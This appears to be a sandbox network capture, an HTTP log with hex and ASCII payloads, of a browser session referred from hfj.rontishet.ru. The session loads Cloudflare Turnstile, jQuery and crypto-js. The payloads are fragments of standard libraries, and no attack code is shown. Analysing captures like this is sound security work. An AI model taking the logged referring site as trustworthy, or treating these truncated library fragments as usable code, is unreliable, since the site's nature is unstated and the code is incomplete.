2024-09-30 17:20:24 UTC	648	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hfj.rontishet.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-30 17:20:24 UTC	356	IN	HTTP/1.1 302 Found Date: Mon, 30 Sep 2024 17:20:24 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/ec4b873d446c/api.js Server: cloudflare CF-RAY: 8cb5e228cab0437f-EWR

Timestamp	Bytes transferred	Direction	Data
2024-09-30 17:20:24 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-30 17:20:25 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=257072 Date: Mon, 30 Sep 2024 17:20:24 GMT Content-Length: 55 Connection: close X-CID: 2
2024-09-30 17:20:25 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Timestamp	Bytes transferred	Direction	Data
2024-09-30 17:20:24 UTC	622	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hfj.rontishet.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-30 17:20:25 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1667795 Date: Mon, 30 Sep 2024 17:20:25 GMT X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740035-EWR X-Cache: HIT, HIT X-Cache-Hits: 5889, 0 X-Timer: S1727716825.117798,VS0,VE1 Vary: Accept-Encoding
2024-09-30 17:20:25 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-09-30 17:20:25 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2024-09-30 17:20:25 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2024-09-30 17:20:25 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2024-09-30 17:20:25 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2024-09-30 17:20:25 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2024-09-30 17:20:25 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2024-09-30 17:20:25 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2024-09-30 17:20:25 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2024-09-30 17:20:25 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Timestamp	Bytes transferred	Direction	Data
2024-09-30 17:20:25 UTC	386	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-30 17:20:26 UTC	928	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 17:20:26 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 328328 Expires: Sat, 20 Sep 2025 17:20:26 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hMKP7xtaGCCiEx6jF%2BVpT3ZS7XgRkUDyLt3zaGhRCpPt0sIW7TB4Hw6lTJKQlB4yK3I%2FowgpUwmVVc8zXCpL4jpGIgV83Zqx0mYA2U70G3c3i9Ny0G8%2B9mrLFCfykY19Vm08EjrV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8cb5e232cb59c35a-EWR
2024-09-30 17:20:26 UTC	441	IN	Data Raw: 33 39 37 61 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 397a!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-09-30 17:20:26 UTC	1369	IN	Data Raw: 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 70 72 6f 74 6f Data Ascii: ?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.proto
2024-09-30 17:20:26 UTC	1369	IN	Data Raw: 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 28 34 29 2e 72 65 Data Ascii: words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)try{return i.randomBytes(4).re
2024-09-30 17:20:26 UTC	1369	IN	Data Raw: 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b 61 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 28 69 2c 61 29 Data Ascii: ta.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;a+=o)this._doProcessBlock(i,a)
2024-09-30 17:20:26 UTC	1369	IN	Data Raw: 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 35 5d 3d 65 5b 35 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 Data Ascii: ;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0?1:0)\|0,e[5]=e[5]+886263092+(e
